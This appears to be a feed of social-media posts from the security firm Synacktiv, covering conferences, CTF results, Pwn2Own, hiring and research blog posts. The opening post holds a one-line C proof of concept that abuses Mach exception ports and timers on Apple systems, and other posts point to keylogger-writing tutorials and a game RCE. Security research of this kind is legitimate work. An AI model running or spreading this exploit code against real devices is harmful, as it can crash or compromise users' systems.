The PoC is even tweetable ;) void *C(void* a){thread_set_exception_ports(mach_thread_self(),EXC_MASK_ALL,*(int *)a,2,6);__builtin_trap();return a;} int main(){int p=mk_timer_create();mach_port_insert_right(mach_task_self(),p,p,20);pthread_t t;pthread_create(&t,0,C,&p);for(;;);}

Croissants, red wine and high-quality offensive security talks in a wonderful place? That's all the Hexacon team is promising for October 2022. Details and Call For Papers are coming very soon... Until then, a bit more teasing for you folks: hexacon.fr #HEXACON2022

Success! To kick things off for #Pwn2Own 2022 Day 2 in style, David BERARD and Vincent DEHORS from Synacktiv demonstrated code execution on the Tesla infotainment system resulting in a arbitrary file write and a switch unlock. #P2O15

What a blast to spend 3 days as a team in Malaga 🇪🇸. Having fun and relaxing. Because ninjas deserve a rest too 😄

📣 Gagnants #CTF BarbHack 2022 ! 🏅Synacktiv 🥈fancybearback 🥉Login Sécurité 👏 Félicitations à tous, rdv en 2023 ! #barbhack22 #ctf #winners

Merci pour le ctf ! (Et les récompenses vraiment sympa 🐬

🏅 We are thrilled to announce that our forensic project has been selected as part of the #France2030 initiative! We aim to provide advanced forensic tools to European Law Enforcement leveraging our expertise in mobile security. 📱

If you enjoy sailing the sea, beware! Major_Tom has found a critical security vulnerability in Raft™, allowing 0-click RCE on any online player. The vendor has remained silent for 5 months, so here are the details: synacktiv.com/sites/default/…

Pour la première année consécutive, la #teambrewette est arrivée première au #BreizhCTF2023 🏆 Merci à l’orga et aux admins pour les challs GCC-ENSIBS Coucou aux copains Aperi'Kube qu’on voit dans le rétro 👋🏻 #NouvelleBanniere

Our ninjas have massively improved the performance of Leakozorus, our public credential leak lookup solution, to make it faster and easier to search across more than 15 billion data entries. Learn more about PostgreSQL tricks and optimizations here: synacktiv.com/publications/c…

Happy to see a lot of people actually used our tool Thoth to reverse, disassemble and decompile Starknet 🐺🐱 smart contract during the SSTIC challenge. Please open github issues if you got any unexpected or incorrect behavior during your analysis 😃 github.com/FuzzingLabs/th…

Last sponsor we want to introduce is a special one: it's Synacktiv, the company organizing #HEXACON2023. Leader in offensive security, Synacktiv helps companies assess their networks's security. There will be a lot of ninjas in the conference, feel free to talk to them! 🤗

One of our ninjas (ixty) wrote a series of articles explaining how to write a win32 keylogger that supports all input languages (that don't use input method editors). Here is the first part which focuses on capturing keyboard events! synacktiv.com/publications/w…

One of our ninjas (ixty) wrote a series of articles explaining how to write a win32 keylogger that supports all input languages (that don't use input method editors). You can find here the second part which focuses on keyboard layout DLLs. synacktiv.com/publications/w…

Sometimes, the obstination of our Linux fans leads to interesting findings on iOS USB networking. Have a look at our latest blogpost by @flogallium synacktiv.com/publications/i…

Want to know how deleted photos reappeared in iOS 17.5? Check out today's blogpost by Lefnui 🍎 synacktiv.com/publications/i…

We’re hiring! Synacktiv is looking for a QA Red Team Developer to strengthen our team. If you’re passionate about cybersecurity and have experience in QA, apply now! More info and applications: [email protected] and synacktiv.com/developpeur-qa…

Have you ever wondered how your PC communicates with an Android device when using adb? Check out our new blogpost! synacktiv.com/publications/d…

Curious about the inner workings of the ADB server-to-device protocol? Check out our second blogpost about ADB internals. synacktiv.com/publications/d…

The latest Synacktiv Summer Challenge was in 2019, and after 6 years, it's back! Send us your solution before the end of August, there are skills to learn and prizes to win 🎁 synacktiv.com/en/publication…